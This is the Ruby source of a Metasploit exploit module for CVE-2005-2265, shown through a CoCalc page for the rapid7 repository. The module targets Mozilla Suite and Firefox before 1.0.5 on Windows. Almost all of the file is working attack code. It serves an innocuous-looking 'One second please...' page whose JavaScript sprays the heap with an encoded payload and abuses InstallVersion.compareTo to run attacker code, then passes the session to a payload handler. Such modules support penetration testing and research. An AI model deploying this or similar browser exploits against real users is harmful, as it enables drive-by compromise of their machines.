CoCalc -- mozilla_compareto.rb

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/mozilla_compareto.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  #
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  # This module acts as an HTTP server
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  #
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  include Msf::Exploit::Remote::HttpServer::HTML
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  # include Msf::Exploit::Remote::BrowserAutopwn
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  # The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
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  # and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
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  # autopwn_info({
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  #  :ua_name => HttpClients::FF,
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  #  :ua_minver => "1.0",
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  #  :ua_maxver => "1.7.10",
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  #  :os_name => OperatingSystems::Match::WINDOWS,
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  #  :javascript => true,
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  #  :rank => NormalRanking, # reliable memory corruption
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  #  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
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  # })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution',
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        'Description' => %q{
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          This module exploits a code execution vulnerability in the Mozilla
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          Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
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          module is a direct port of Aviv Raff's HTML PoC.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],
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        'References' => [
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          ['CVE', '2005-2265'],
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          ['OSVDB', '17968'],
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          ['BID', '14242'],
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          ['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
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        ],
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        'Payload' => {
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          'Space' => 400,
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          'BadChars' => "\x00",
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        },
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        'Platform' => %w{win},
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        'Targets' => [
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          # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
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          # WinXP-SP3 and Win2kAS-SP0
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          [
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            'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
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            {
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              'Platform' => 'win',
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              'Arch' => ARCH_X86,
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              'Ret' => 0x0c0c0c0c,
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2005-07-13',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def on_request_uri(cli, request)
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    # Re-generate the payload
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    return if ((p = regenerate_payload(cli)) == nil)
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    print_status("Sending #{self.name}")
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    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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    # Handle the payload
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    handler(cli)
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  end
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  def generate_html(payload)
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    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
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    spray_to = sprintf("0x%.8x", target.ret)
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    spray_slide1 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))
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    spray_slide2 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))
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    eax_address = sprintf("0x%.8x", target.ret)
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    return %Q|
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<html>
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<head>
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<!--
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  Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
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  From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
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  Greets: SkyLined, The Insider and shutdown
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-->
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  <title>One second please...</title>
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  <script language="javascript">
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    function BodyOnLoad()
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    {
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      location.href="javascript:void (new InstallVersion());";
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      CrashAndBurn();
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    };
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    #{js_heap_spray}
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    // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
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    function CrashAndBurn()
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    {
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      // Payload - Just return..
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      var payLoadCode=unescape("#{enc_code}");
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      // Size of the heap blocks
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      var heapBlockSize=0x400000;
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      sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));
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      // Set address to fake "pdata".
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      var eaxAddress = #{eax_address};
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      //	This was taken from shutdown's PoC in bugzilla
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      // struct vtbl { void (*code)(void); };
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      // struct data { struct vtbl *pvtbl; };
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      //
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      // struct data *pdata = (struct data *)(xxAddress & ~0x01);
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      // pdata->pvtbl->code(pdata);
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      //
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      (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
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    }
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// -->
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  </script>
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</head>
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<body onload="BodyOnLoad()">
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</body>
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</html>
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    |
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  end
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end
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